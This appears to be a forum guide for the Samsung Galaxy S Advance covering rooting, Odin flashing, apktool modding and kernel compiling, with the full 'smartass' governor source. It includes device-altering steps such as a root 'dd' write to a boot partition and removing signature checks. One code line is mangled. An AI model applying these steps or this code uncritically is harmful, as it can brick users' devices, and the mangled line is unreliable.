There isn't really a wholesome guide for this device, which includes everything form flashing to compiling. So i am writing this guide.
Currently its being populated. This will contain everything - flashing, modding, compiling etc.
How to root SGSA : Look here
How to flash firmwares from sammobile using Odin : Look here
Rooting JB :
Download here : Root
How to :
1. Download the zip and place it in the root of your sd card.
PS : SD Card is a must.
2. Reboot to the stock recovery.
3. Select install update from external storage.
4. Select the root.zip file.
5. Viola
Enjoy your rooted JB.
Original post here.
Rooting GB :
Please note that this method will increase the binary counter. A more complex method to root GB is available here which doesn't increase the binary counter.
This kernel will provide you the standard stock kernel and also includes TWRP recovery.
( disclaimer )
I AM NOT TO BE HELD RESPONSIBLE IF YOU DAMAGE YOUR PHONE
Using Odin to flash this kernel WILL increase your binary counter.
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
( features )
- Team Win Recovery Project 2.2.1
- CIFS Support
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
( how to install using Odin )
1. Restart into download mode by pressing Power + Home + Vol Down
2. Start Odin, and flash the attached kernel as PDA.
Remember to extract the attached file only once. if you end up with a kernel.bin.md5 you extracted twice!
Do not use the PIT, do not have any options checked except for "Auto reboot" and "F. Reset Time"
3. Wait for the device to reboot
( how to install using DD )
This method does not increase your binary counter, but your phone needs to be rooted so you can perform this!
IF YOU'RE NOT FAMILIAR WITH DD I RECOMMEND YOU TO AVOID THIS METHOD
1. Extract the attached file twice. You will end up with a kernel.bin.md5 file
2. Put the kernel.bin.md5 file to /sdcard
3. Start adb shell
4. Do the following commands:
Code:
$ su
# dd if=/sdcard/kernel.bin.md5 of=/dev/block/mmcblk0p15
# reboot
5. Wait for the device to reboot.
Click to expand...
Click to collapse
Download the pre-rooted kernel here.
Flashing with Odin :
Odin is the saviour tool for all Samsung devices. The method for flashing by Odin differs from device to device.
This thread will give step by step instructions on how to flash a stock rom from Odin on the GT-I9070/p :
A. Download Odin tools from here : Odin Tools
Pass : shaaan
B. Download the stock rom from : SamFirmware
Setting up Odin :
1. Make sure you have installed the necessary drivers for this device. The drivers can be installed from within KIES or seperately here.
2. Run Odin as administrator.
3. Setting up the files is divided in two types depending on the firmware type :
a. If the firmware is a multi package file, put the files in the corresponding sections.
ie. CSC file in CSC section, PDA file in PDA section.
b. If the firmware is a single package, add the single file in the PDA section.
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
4. Now that Odin is setup, put the phone in download mode. To do that, power off the phone and press 'home+power+volume down' buttons together. Keep the buttons pressed till Download mode appears.
5. Now that Odin and the phone are setup, connect the phone to the device. Odin will detect the device and show something like 'com port (1)'
6. Flash the device.
7. The flash will take 5 minutes for a full flash on average.
8. When the flashing is complete, DO NOT remove the device until Odin shows ' PASS '.
9. The device will reboot. Remove the device, go to recovery mode and do a factory/data reset.
That's it. Happy flashing peeps..!!
ROM Modding
Now that we are done with basic things like rooting and flashing, let's move on to some complex stuff..
Tools needed -
1. Apktool
2. XUltimate for deodexing
3. Notepad ++
4. Baksmali manager ( attached )
5. DSIXDA's Android kitchen - only if you really want to use it. but i recommend doing everything manually.
Click to expand...
Click to collapse
Step I :
Setup Android SDK. Instructions here.
Once the SDK is setup, run the command "android" in command prompt. It should look something like this.
Make sure that your PC recognizes the device. Run the command "adb devices". It should show something like this.
Step II :
Once these basic things are setup, install apktool :
1. Download apktool.
2. There will be two files, they will be .bz2 files.
3. Create a new folder called apktool.
4. Put it here: C:\Users\<your username>\apktool.
5. Open these with 7zip. You’ll notice that inside there are .tar files.
6. Double-click the .tar file, and now you’ll see the files.
7. Extract the files from BOTH zips to your new apktool folder at C:\Users\<your username>\apktool.
8. You’ll have 3 files total now in your apktool folder: aapt.exe, apktool.bat, apktool.jar.
Click to expand...
Click to collapse
Now install Notepad++
Restart the computer.
Using apktool :
Generally it is not required to install the framework files, but apps like '/system/app/Settings.apk' need it.
The general commands for apktool are -
apktool d framework-res.apk -- Decompiles framework-res.apk
apktool b framework-res -- Builds the modified files
apktool if path_to_framework-res.apk -- Installs framework-res. Do the same for twframework-res
Click to expand...
Click to collapse
Preface :
OK a lot of people have been asking about building kernels, so here is my best shot at a tutorial. You guys shouldn't expect my little walk through here plus another person’s source to make you a "developer", all it will prove is that you can copy/paste. Also if you follow this guide, I am not responsible for anything that you may do that results in destruction, death, or other negative side-affects. You really shouldn't be messing with this stuff unless you know what you are doing, or doing a LOT of research along the way.
However please use this guide as a springboard for knowledge, to give you some key terms to google, to turn on those lightbulbs in your head and get those gears churning.
Note: This is not a newbie's guide to Linux. Before you post your question please look at it. If it involves the syntax of the command/what a command does you need to do your own research elsewhere before attempting to continue with this guide.
Click to expand...
Click to collapse
I. Setting up the environment :
A. Install Ubuntu 12.04 (Not holding your hand here, if you can't do this you shouldn't be messing with kernels)
B. Installing required packages: Type this code into the terminal.
Code:
For 32 and 64 bit systems :
sudo apt-get install git-core gnupg flex bison gperf libsdl1.2-dev libesd0-dev libwxgtk2.8-dev squashfs-tools build-essential zip curl
libncurses5-dev zlib1g-dev openjdk-6-jre openjdk-6-jdk pngcrush schedtool
For 64 bit systems only :
g++-multilib lib32z1-dev lib32ncurses5-dev lib32readline-gplv2-dev gcc-4.7-multilib g++-4.5-multilib
Also make sure you have ADB installed. Its a must.
C. Open a terminal
D. Type "mkdir -p android/kernel"
The above steps explained:
A. Installing a linux distro. You could really install any Linux distro however Ubuntu in my eyes is the easy to use and install, and widely supported.
B. Installing needed packages. These are needed for building the kernel. No I can't tell you what every single package does, it is your job to research and figure that out.
C. Ummm...duh?
D. Building a directory structure that will help keep us organized. The "mkdir" command creates a directory. The more you type these commands the more familiar you will become with them.
Click to expand...
Click to collapse
II. Downloading the source :
A. Download the relevant source from the Samsung Opensource Website
B. Once the source is download, extract it into the "android/kernel" directory that we made in the previous step.
C. Grab your desired toolchain. I generally recommend the CodeSourcery toolchain.
Click to expand...
Click to collapse
III. Modifications :
This is the part people are curious about, they want to make modifications to the kernel to make it "special". Start all these from the root directory of your kernel source.
Mod 1. Applying a patch
A. Download the patch you wish to apply, in this case this one should work.
B. Save that file as "kernelPatch" in your kernel directory.
C. Open a Terminal
D. Move into the root directory of the kernel you wish to patch.
E. Type "patch -p1 < ../kernelPatch"
The above steps explained:
A. Pretty simple, I mean we need a patch. The patch itself is quite simply a diff between the original kernel source tree and the source tree containing the changes. I'll post a quick tutorial on how to create a patch in the third post. The patch above contains multiple governors to be added to your kernel.
B. Self-explanatory
C. Self-explanatory
D. Self-explanatory
E. Basically we run the patch command on our source using the patch we downloaded previously. The "patch" portion is the binary itself, the "-p1" option allows you to control the number of forward slashes to remove from file paths(You'll need to look at this option more if you are using weird directory structures or applying the patches from a odd location). The "<" operator directs the content of our "../kernelPatch" file into the command.
Click to expand...
Click to collapse
Mod 2. Adding a Governor
A. Open "drivers/cpufreq/Kconfig"
B. Add the following lines in appropriate spot amongst the other govenor's
Code:
config CPU_FREQ_DEFAULT_GOV_SMARTASS
bool "smartass"
select CPU_FREQ_GOV_SMARTASS
select CPU_FREQ_GOV_PERFORMANCE
help
Use the CPUFreq governor 'smartass' as default.
Code:
config CPU_FREQ_GOV_SMARTASS
tristate "'smartass' cpufreq governor"
depends on CPU_FREQ
help
smartass' - a "smart" optimized governor!
If in doubt, say N.
C. Open "drivers/cpufreq/Makefile"
D. Add the following line in the appropriate spot.
Code:
obj-$(CONFIG_CPU_FREQ_GOV_SMARTASS) += cpufreq_smartass.o
E. Create a file called "drivers/cpufreq/cpufreq_smartass.c"
F. Put the following code in that file.
Code:
/*
* drivers/cpufreq/cpufreq_smartass.c
*
* Copyright (C) 2010 Google, Inc.
*
* This software is licensed under the terms of the GNU General Public
* License version 2, as published by the Free Software Foundation, and
* may be copied, distributed, and modified under those terms.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* Author: Erasmux
*
* Based on the interactive governor By Mike Chan ([email protected])
* which was adaptated to 2.6.29 kernel by Nadlabak ([email protected])
*
* requires to add
* EXPORT_SYMBOL_GPL(nr_running);
* at the end of kernel/sched.c
*
*/
#include <linux/cpu.h>
#include <linux/cpumask.h>
#include <linux/cpufreq.h>
#include <linux/sched.h>
#include <linux/tick.h>
#include <linux/timer.h>
#include <linux/workqueue.h>
#include <linux/moduleparam.h>
#include <asm/cputime.h>
#include <linux/earlysuspend.h>
static void (*pm_idle_old)(void);
static atomic_t active_count = ATOMIC_INIT(0);
struct smartass_info_s {
struct cpufreq_policy *cur_policy;
struct timer_list timer;
u64 time_in_idle;
u64 idle_exit_time;
unsigned int force_ramp_up;
unsigned int enable;
};
static DEFINE_PER_CPU(struct smartass_info_s, smartass_info);
/* Workqueues handle frequency scaling */
static struct workqueue_struct *up_wq;
static struct workqueue_struct *down_wq;
static struct work_struct freq_scale_work;
static u64 freq_change_time;
static u64 freq_change_time_in_idle;
static cpumask_t work_cpumask;
static unsigned int suspended;
/*
* The minimum amount of time to spend at a frequency before we can ramp down,
* default is 45ms.
*/
#define DEFAULT_DOWN_RATE_US 20000
static unsigned long down_rate_us;
/*
* When ramping up frequency with no idle cycles jump to at least this frequency.
* Zero disables. Set a very high value to jump to policy max freqeuncy.
*/
#define DEFAULT_UP_MIN_FREQ 1152000
static unsigned int up_min_freq;
/*
* When sleep_max_freq>0 the frequency when suspended will be capped
* by this frequency. Also will wake up at max frequency of policy
* to minimize wakeup issues.
* Set sleep_max_freq=0 to disable this behavior.
*/
#define DEFAULT_SLEEP_MAX_FREQ 537600
static unsigned int sleep_max_freq;
/*
* Sampling rate, I highly recommend to leave it at 2.
*/
#define DEFAULT_SAMPLE_RATE_JIFFIES 2
static unsigned int sample_rate_jiffies;
/*
* Freqeuncy delta when ramping up.
* zero disables causes to always jump straight to max frequency.
*/
#define DEFAULT_RAMP_UP_STEP 614400
static unsigned int ramp_up_step;
/*
* Max freqeuncy delta when ramping down. zero disables.
*/
#define DEFAULT_MAX_RAMP_DOWN 384000
static unsigned int max_ramp_down;
/*
* CPU freq will be increased if measured load > max_cpu_load;
*/
#define DEFAULT_MAX_CPU_LOAD 75
static unsigned long max_cpu_load;
/*
* CPU freq will be decreased if measured load < min_cpu_load;
*/
#define DEFAULT_MIN_CPU_LOAD 30
static unsigned long min_cpu_load;
static int cpufreq_governor_smartass(struct cpufreq_policy *policy,
unsigned int event);
#ifndef CONFIG_CPU_FREQ_DEFAULT_GOV_SMARTASS
static
#endif
struct cpufreq_governor cpufreq_gov_smartass = {
.name = "smartass",
.governor = cpufreq_governor_smartass,
.max_transition_latency = 6000000,
.owner = THIS_MODULE,
};
static void cpufreq_smartass_timer(unsigned long data)
{
u64 delta_idle;
u64 update_time;
u64 now_idle;
struct smartass_info_s *this_smartass = &per_cpu(smartass_info, data);
struct cpufreq_policy *policy = this_smartass->cur_policy;
now_idle = get_cpu_idle_time_us(data, &update_time);
if (update_time == this_smartass->idle_exit_time)
return;
delta_idle = cputime64_sub(now_idle, this_smartass->time_in_idle);
//printk(KERN_INFO "smartass: t=%llu i=%llu\n",cputime64_sub(update_time,this_smartass->idle_exit_time),delta_idle);
/* Scale up if there were no idle cycles since coming out of idle */
if (delta_idle == 0) {
if (policy->cur == policy->max)
return;
if (nr_running() < 1)
return;
this_smartass->force_ramp_up = 1;
cpumask_set_cpu(data, &work_cpumask);
queue_work(up_wq, &freq_scale_work);
return;
}
/*
* There is a window where if the cpu utlization can go from low to high
* between the timer expiring, delta_idle will be > 0 and the cpu will
* be 100% busy, preventing idle from running, and this timer from
* firing. So setup another timer to fire to check cpu utlization.
* Do not setup the timer if there is no scheduled work.
*/
if (!timer_pending(&this_smartass->timer) && nr_running() > 0) {
this_smartass->time_in_idle = get_cpu_idle_time_us(
data, &this_smartass->idle_exit_time);
mod_timer(&this_smartass->timer, jiffies + sample_rate_jiffies);
}
if (policy->cur == policy->min)
return;
/*
* Do not scale down unless we have been at this frequency for the
* minimum sample time.
*/
if (cputime64_sub(update_time, freq_change_time) < down_rate_us)
return;
cpumask_set_cpu(data, &work_cpumask);
queue_work(down_wq, &freq_scale_work);
}
static void cpufreq_idle(void)
{
struct smartass_info_s *this_smartass = &per_cpu(smartass_info, smp_processor_id());
struct cpufreq_policy *policy = this_smartass->cur_policy;
pm_idle_old();
if (!cpumask_test_cpu(smp_processor_id(), policy->cpus))
return;
/* Timer to fire in 1-2 ticks, jiffie aligned. */
if (timer_pending(&this_smartass->timer) == 0) {
this_smartass->time_in_idle = get_cpu_idle_time_us(
smp_processor_id(), &this_smartass->idle_exit_time);
mod_timer(&this_smartass->timer, jiffies + sample_rate_jiffies);
}
}
/*
* Choose the cpu frequency based off the load. For now choose the minimum
* frequency that will satisfy the load, which is not always the lower power.
*/
static unsigned int cpufreq_smartass_calc_freq(unsigned int cpu, struct cpufreq_policy *policy)
{
unsigned int delta_time;
unsigned int idle_time;
unsigned int cpu_load;
unsigned int new_freq;
u64 current_wall_time;
u64 current_idle_time;
current_idle_time = get_cpu_idle_time_us(cpu, ¤t_wall_time);
idle_time = (unsigned int)( current_idle_time - freq_change_time_in_idle );
delta_time = (unsigned int)( current_wall_time - freq_change_time );
cpu_load = 100 * (delta_time - idle_time) / delta_time;
//printk(KERN_INFO "Smartass calc_freq: delta_time=%u cpu_load=%u\n",delta_time,cpu_load);
if (cpu_load < min_cpu_load) {
cpu_load += 100 - max_cpu_load; // dummy load.
new_freq = policy->cur * cpu_load / 100;
if (max_ramp_down && new_freq < policy->cur - max_ramp_down)
new_freq = policy->cur - max_ramp_down;
//printk(KERN_INFO "Smartass calc_freq: %u => %u\n",policy->cur,new_freq);
return new_freq;
} if (cpu_load > max_cpu_load) {
if (ramp_up_step)
new_freq = policy->cur + ramp_up_step;
else
new_freq = policy->max;
return new_freq;
}
return policy->cur;
}
/* We use the same work function to sale up and down */
static void cpufreq_smartass_freq_change_time_work(struct work_struct *work)
{
unsigned int cpu;
unsigned int new_freq;
struct smartass_info_s *this_smartass;
struct cpufreq_policy *policy;
cpumask_t tmp_mask = work_cpumask;
for_each_cpu(cpu, tmp_mask) {
this_smartass = &per_cpu(smartass_info, cpu);
policy = this_smartass->cur_policy;
if (this_smartass->force_ramp_up) {
this_smartass->force_ramp_up = 0;
if (nr_running() == 1) {
cpumask_clear_cpu(cpu, &work_cpumask);
return;
}
if (policy->cur == policy->max)
return;
if (ramp_up_step)
new_freq = policy->cur + ramp_up_step;
else
new_freq = policy->max;
if (suspended && sleep_max_freq) {
if (new_freq > sleep_max_freq)
new_freq = sleep_max_freq;
} else {
if (new_freq < up_min_freq)
new_freq = up_min_freq;
}
} else {
new_freq = cpufreq_smartass_calc_freq(cpu,policy);
// in suspend limit to sleep_max_freq and
// jump straight to sleep_max_freq to avoid wakeup problems
if (suspended && sleep_max_freq &&
(new_freq > sleep_max_freq || new_freq > policy->cur))
new_freq = sleep_max_freq;
}
if (new_freq > policy->max)
new_freq = policy->max;
if (new_freq < policy->min)
new_freq = policy->min;
__cpufreq_driver_target(policy, new_freq,
CPUFREQ_RELATION_L);
freq_change_time_in_idle = get_cpu_idle_time_us(cpu,
&freq_change_time);
cpumask_clear_cpu(cpu, &work_cpumask);
}
}
static ssize_t show_down_rate_us(struct cpufreq_policy *policy, char *buf)
{
return sprintf(buf, "%lu\n", down_rate_us);
}
static ssize_t store_down_rate_us(struct cpufreq_policy *policy, const char *buf, size_t count)
{
ssize_t res;
unsigned long input;
res = strict_strtoul(buf, 0, &input);
if (res >= 0 && input >= 1000 && input <= 100000000)
down_rate_us = input;
return res;
}
static struct freq_attr down_rate_us_attr = __ATTR(down_rate_us, 0644,
show_down_rate_us, store_down_rate_us);
static ssize_t show_up_min_freq(struct cpufreq_policy *policy, char *buf)
{
return sprintf(buf, "%u\n", up_min_freq);
}
static ssize_t store_up_min_freq(struct cpufreq_policy *policy, const char *buf, size_t count)
{
ssize_t res;
unsigned long input;
res = strict_strtoul(buf, 0, &input);
if (res >= 0 && input >= 0)
up_min_freq = input;
return res;
}
static struct freq_attr up_min_freq_attr = __ATTR(up_min_freq, 0644,
show_up_min_freq, store_up_min_freq);
static ssize_t show_sleep_max_freq(struct cpufreq_policy *policy, char *buf)
{
return sprintf(buf, "%u\n", sleep_max_freq);
}
static ssize_t store_sleep_max_freq(struct cpufreq_policy *policy, const char *buf, size_t count)
{
ssize_t res;
unsigned long input;
res = strict_strtoul(buf, 0, &input);
if (res >= 0 && input >= 0)
sleep_max_freq = input;
return res;
}
static struct freq_attr sleep_max_freq_attr = __ATTR(sleep_max_freq, 0644,
show_sleep_max_freq, store_sleep_max_freq);
static ssize_t show_sample_rate_jiffies(struct cpufreq_policy *policy, char *buf)
{
return sprintf(buf, "%u\n", sample_rate_jiffies);
}
static ssize_t store_sample_rate_jiffies(struct cpufreq_policy *policy, const char *buf, size_t count)
{
ssize_t res;
unsigned long input;
res = strict_strtoul(buf, 0, &input);
if (res >= 0 && input > 0 && input <= 1000)
sample_rate_jiffies = input;
return res;
}
static struct freq_attr sample_rate_jiffies_attr = __ATTR(sample_rate_jiffies, 0644,
show_sample_rate_jiffies, store_sample_rate_jiffies);
static ssize_t show_ramp_up_step(struct cpufreq_policy *policy, char *buf)
{
return sprintf(buf, "%u\n", ramp_up_step);
}
static ssize_t store_ramp_up_step(struct cpufreq_policy *policy, const char *buf, size_t count)
{
ssize_t res;
unsigned long input;
res = strict_strtoul(buf, 0, &input);
if (res >= 0)
ramp_up_step = input;
return res;
}
static struct freq_attr ramp_up_step_attr = __ATTR(ramp_up_step, 0644,
show_ramp_up_step, store_ramp_up_step);
static ssize_t show_max_ramp_down(struct cpufreq_policy *policy, char *buf)
{
return sprintf(buf, "%u\n", max_ramp_down);
}
static ssize_t store_max_ramp_down(struct cpufreq_policy *policy, const char *buf, size_t count)
{
ssize_t res;
unsigned long input;
res = strict_strtoul(buf, 0, &input);
if (res >= 0)
max_ramp_down = input;
return res;
}
static struct freq_attr max_ramp_down_attr = __ATTR(max_ramp_down, 0644,
show_max_ramp_down, store_max_ramp_down);
static ssize_t show_max_cpu_load(struct cpufreq_policy *policy, char *buf)
{
return sprintf(buf, "%lu\n", max_cpu_load);
}
static ssize_t store_max_cpu_load(struct cpufreq_policy *policy, const char *buf, size_t count)
{
ssize_t res;
unsigned long input;
res = strict_strtoul(buf, 0, &input);
if (res >= 0 && input > 0 && input <= 100)
max_cpu_load = input;
return res;
}
static struct freq_attr max_cpu_load_attr = __ATTR(max_cpu_load, 0644,
show_max_cpu_load, store_max_cpu_load);
static ssize_t show_min_cpu_load(struct cpufreq_policy *policy, char *buf)
{
return sprintf(buf, "%lu\n", min_cpu_load);
}
static ssize_t store_min_cpu_load(struct cpufreq_policy *policy, const char *buf, size_t count)
{
ssize_t res;
unsigned long input;
res = strict_strtoul(buf, 0, &input);
if (res >= 0 && input > 0 && input < 100)
min_cpu_load = input;
return res;
}
static struct freq_attr min_cpu_load_attr = __ATTR(min_cpu_load, 0644,
show_min_cpu_load, store_min_cpu_load);
static struct attribute * smartass_attributes[] = {
&down_rate_us_attr.attr,
&up_min_freq_attr.attr,
&sleep_max_freq_attr.attr,
&sample_rate_jiffies_attr.attr,
&ramp_up_step_attr.attr,
&max_ramp_down_attr.attr,
&max_cpu_load_attr.attr,
&min_cpu_load_attr.attr,
NULL,
};
static struct attribute_group smartass_attr_group = {
.attrs = smartass_attributes,
.name = "smartass",
};
static int cpufreq_governor_smartass(struct cpufreq_policy *new_policy,
unsigned int event)
{
unsigned int cpu = new_policy->cpu;
int rc;
struct smartass_info_s *this_smartass = &per_cpu(smartass_info, cpu);
switch (event) {
case CPUFREQ_GOV_START:
if ((!cpu_online(cpu)) || (!new_policy->cur))
return -EINVAL;
if (this_smartass->enable) /* Already enabled */
break;
/*
* Do not register the idle hook and create sysfs
* entries if we have already done so.
*/
if (atomic_inc_return(&active_count) > 1)
return 0;
rc = sysfs_create_group(&new_policy->kobj, &smartass_attr_group);
if (rc)
return rc;
pm_idle_old = pm_idle;
pm_idle = cpufreq_idle;
this_smartass->cur_policy = new_policy;
this_smartass->cur_policy->max = CONFIG_MSM_CPU_FREQ_ONDEMAND_MAX;
this_smartass->cur_policy->min = CONFIG_MSM_CPU_FREQ_ONDEMAND_MIN;
this_smartass->cur_policy->cur = CONFIG_MSM_CPU_FREQ_ONDEMAND_MAX;
this_smartass->enable = 1;
// notice no break here!
case CPUFREQ_GOV_LIMITS:
if (this_smartass->cur_policy->cur != new_policy->max)
__cpufreq_driver_target(new_policy, new_policy->max, CPUFREQ_RELATION_H);
break;
case CPUFREQ_GOV_STOP:
this_smartass->enable = 0;
if (atomic_dec_return(&active_count) > 1)
return 0;
sysfs_remove_group(&new_policy->kobj,
&smartass_attr_group);
pm_idle = pm_idle_old;
del_timer(&this_smartass->timer);
break;
}
return 0;
}
static void smartass_suspend(int cpu, int suspend)
{
struct smartass_info_s *this_smartass = &per_cpu(smartass_info, smp_processor_id());
struct cpufreq_policy *policy = this_smartass->cur_policy;
unsigned int new_freq;
if (!this_smartass->enable || sleep_max_freq==0) // disable behavior for sleep_max_freq==0
return;
if (suspend) {
if (policy->cur > sleep_max_freq) {
new_freq = sleep_max_freq;
if (new_freq > policy->max)
new_freq = policy->max;
if (new_freq < policy->min)
new_freq = policy->min;
__cpufreq_driver_target(policy, new_freq,
CPUFREQ_RELATION_H);
}
} else { // resume at max speed:
__cpufreq_driver_target(policy, policy->max,
CPUFREQ_RELATION_H);
}
}
static void smartass_early_suspend(struct early_suspend *handler) {
int i;
suspended = 1;
for_each_online_cpu(i)
smartass_suspend(i,1);
}
static void smartass_late_resume(struct early_suspend *handler) {
int i;
suspended = 0;
for_each_online_cpu(i)
smartass_suspend(i,0);
}
static struct early_suspend smartass_power_suspend = {
.suspend = smartass_early_suspend,
.resume = smartass_late_resume,
};
static int __init cpufreq_smartass_init(void)
{
unsigned int i;
struct smartass_info_s *this_smartass;
down_rate_us = DEFAULT_DOWN_RATE_US;
up_min_freq = DEFAULT_UP_MIN_FREQ;
sleep_max_freq = DEFAULT_SLEEP_MAX_FREQ;
sample_rate_jiffies = DEFAULT_SAMPLE_RATE_JIFFIES;
ramp_up_step = DEFAULT_RAMP_UP_STEP;
max_ramp_down = DEFAULT_MAX_RAMP_DOWN;
max_cpu_load = DEFAULT_MAX_CPU_LOAD;
min_cpu_load = DEFAULT_MIN_CPU_LOAD;
suspended = 0;
/* Initalize per-cpu data: */
for_each_possible_cpu(i) {
this_smartass = &per_cpu(smartass_info, i);
this_smartass->enable = 0;
this_smartass->force_ramp_up = 0;
this_smartass->time_in_idle = 0;
this_smartass->idle_exit_time = 0;
// intialize timer:
init_timer_deferrable(&this_smartass->timer);
this_smartass->timer.function = cpufreq_smartass_timer;
this_smartass->timer.data = i;
}
/* Scale up is high priority */
up_wq = create_rt_workqueue("ksmartass_up");
down_wq = create_workqueue("ksmartass_down");
INIT_WORK(&freq_scale_work, cpufreq_smartass_freq_change_time_work);
register_early_suspend(&smartass_power_suspend);
return cpufreq_register_governor(&cpufreq_gov_smartass);
}
#ifdef CONFIG_CPU_FREQ_DEFAULT_GOV_SMARTASS
pure_initcall(cpufreq_smartass_init);
#else
module_init(cpufreq_smartass_init);
#endif
static void __exit cpufreq_smartass_exit(void)
{
cpufreq_unregister_governor(&cpufreq_gov_smartass);
destroy_workqueue(up_wq);
destroy_workqueue(down_wq);
}
module_exit(cpufreq_smartass_exit);
MODULE_AUTHOR ("Erasmux");
MODULE_DESCRIPTION ("'cpufreq_smartass' - A smart cpufreq governor");
MODULE_LICENSE ("GPL");
G. open "include/linux/cpufreq.h"
H. Under the "Cpufreq Default" section add
Code:
#elif defined(CONFIG_CPU_FREQ_DEFAULT_GOV_SMARTASS)
extern struct cpufreq_governor cpufreq_gov_smartass;
#define CPUFREQ_DEFAULT_GOVERNOR (&cpufreq_gov_smartass)
Ok there is a governor added, do the exact same steps for any other one's you would like to add.
The above steps explained:
A. Just opening a file, you guys have this. The Kconfig ties into our "make menuconfig" command later, making our mod a selectable option.
B. Adding the appropriate code for our governor to get it in our .config file. The first chunk would allow us to set our governor as the default one for our kernel, the other allows us to totally remove or add it to the build as we wish.
C-D. This step tells the linker to tie our module in with the rest of the code.
E-F. Creating the actually governor itself, don't skip this step. I would suggest reading through this and trying to understand how it works, it's some pretty awesome stuff.
G-H. Open a file and add the code needed to tie our module into the rest of the source. Without this we would not be able to compile due to the rest of the source not knowing our module exists.
Click to expand...
Click to collapse
Click to expand...
Click to collapse
IV. Getting a Config File :
Samsung now doesn't support grabbing the kernel config from "/proc/config". So we have the alternative method of using the stock config from "/arch/arm/config". Use the README to get a better understanding of how the config file works.
Click to expand...
Click to collapse
V. Building :
Time to start the real "build" section of this tutorial.
Part A. Pre-build Steps
A. Open terminal and change to the root of your kernel directory
B. Type "export ARCH=arm"
C. Type "export CROSS_COMPILE=~/android/kernel/toolchains/arm-eabi-linaro-4.6.2/bin/arm-eabi-"
Part B. The First Build
A. Type "make <your_config_name>_defconfig"
B. Type "make menuconfig" and make the required changes to use any modules you added or similar changes.
C. Type "make -j<maximum number of jobs>"
Part C. Re-Builds
A. Type "make clean"
B. Type "make oldconfig"
C. Type "make -j<maximum number of jobs>"
Part D. Building Modules
You have two options:
A. Type "make modules"
B. Type "make path/to/your/module.ko"
Alternatively, you can use this build script here[/URL.]
Click to expand...
Click to collapse
Above steps explained :
Part A.(These steps are required every time you close your terminal and re-open it to build again.)
A. Ok shouldn’t need to explain this.
B. This command sets your target architecture.
C. Defines the path to the toolchain we are going to use to compile our kernel. You can change this to point towards whatever toolchain you have downloaded or feel like using, the way it is currently configured it will use the Linaro toolchain that we downloaded above.
Part B.(These only need to be run the first time you build a kernel.)
A. Load's your configuration file from earlier.
B. Open up a menu to configure your kernel. It will use the config file you loaded in the previous step as a base.
C. Viola start the build. I typically allow 1 job per core, so on my quad core machine I put "make -j4". Just raising that number will not make your build faster, your processor needs to be able to support the number of jobs you are assigning it.
Part C. (Use the command's when you are building any-time outside of the first)
A. This command gets rid of any old/outdated binaries or modules you compiled before, and let's start fresh. I like to run it every I build unless my changes are really small and localized.
B. A very awesome command, it parses through what has changed and only prompts you about new options.
C. See the explanation for the above "Part C.".
Part D.(Use these for just building kernel modules.)
A. This will re-build all modules.
B. Will rebuild just the module you need. Very useful when you need to rebuild a WiFi module.
Click to expand...
Click to collapse
Click to expand...
Click to collapse
VI. Now What ?
Ok we have now started our build and we are waiting for it to finish, so there are two possible outcomes:
Outcome A. Build Succeds
W00t!! You have a kernel built by your self from source. There are a couple things you need in-order to use this kernel on your device any ".ko" modules and the zImage binary. If you pay attention to the output of your compiler then you will see the location of those objects. However the following commands will make your life a bit easier(Thanks Recognized Developer Hacre):
A. Open a terminal
B. Change to your root kernel directory
C. Type "mkdir ../<your_kernel>_output"
D. Type "cp arch/arm/boot/zImage ../<your_kernel>_output/zImage"
E. Type "find . -name "*.ko" -exec cp {} ../<your_kernel>_output \;"
The above steps explained:
A-C. Self-Explanatory
D. Move our kernel binary into our output folder
E. This handy bit of magic finds all ".ko" modules and also copies them into your output file.
You will also need to assemble a kernel image containing a initramfs for your device, along with the kernel binary and such. Getting the ramdisk from a bin file isn't really easy, but i have attached a script that should do the work. Just remove the .txt extension and chmod it to a+x.
Click to expand...
Click to collapse
Outcome B : Build Fails
Oh dear. It failed. Well guess what...this is going to happen..a LOT. Get used to it, and get used to googling and experimenting with different solutions. The following are some tips that will help you with debugging your issues.
Running a "Clean" build
A. Backup your config file(Type "cp .config ../backupConfig")
B. Re-run the build process using just your defconfig from earlier.
Limiting Output(Thanks Hacre.)
A. Another good tip is to run "make -j1" to get the error, as it will limit the amount of text you need to scroll through.
Click to expand...
Click to collapse
Click to expand...
Click to collapse
While the kernel is compiling, it should show something like this :
When the kernel compile is complete, it should show something like this :
Tips :
I. In the defconfig file, remove the SHRM file signature verification or RIL won't work.
II. Use "make menuconfig" to access a GUI and modify the kernel parameters.
FAQ's :
Q. Can i downgrade the device if i upgrade it to JB ?
A. Yes. You can. There is a detailed guide in the development section. Please refer it before posting.
Credits :
thewadegeek form whose kernel compiling guide, i copy pasted loads of stuff
users for their support
Click to expand...
Click to collapse
Feel something is missing ? Please let me know. I will be happy to update the guide.
Good job dude , keep up u r doing great , thanks lot ^_*
Can I flash whole XXLPZ via odin the same way? Coz my ota doesn't show any update.
And will the root method work then too?
Sent from my GT-I9070 using xda premium
atishey23 said:
Can I flash whole XXLPZ via odin the same way? Coz my ota doesn't show any update.
And will the root method work then too?
Sent from my GT-I9070 using xda premium
Click to expand...
Click to collapse
yes and yes. worked for me, improved performance for me
i think they should pin this thread
popup error
after i flash xxlpz via odin it reboots perfectly and stuck at language chooser. cant finish setup because of popup error "unfortunately com.google.process has stopped" any fix?
Одг: [REF] The All In One Guide for SGSA
ianmcgui said:
after i flash xxlpz via odin it reboots perfectly and stuck at language chooser. cant finish setup because of popup error "unfortunately com.google.process has stopped" any fix?
Click to expand...
Click to collapse
Read a bit!
http://forum.xda-developers.com/showthread.php?p=37246645
Sent from Galaxy S Advance
thanks...good going
thanks, waiting for more :good:
OP updated.
perfect guide
gr8 work.................. i wish i could find this type of guide before i root 1st time so that my binary count wont increase
btw there is any other way for zero binary count??? (i know about triangle away & jib and try both on my sgsa but dont work
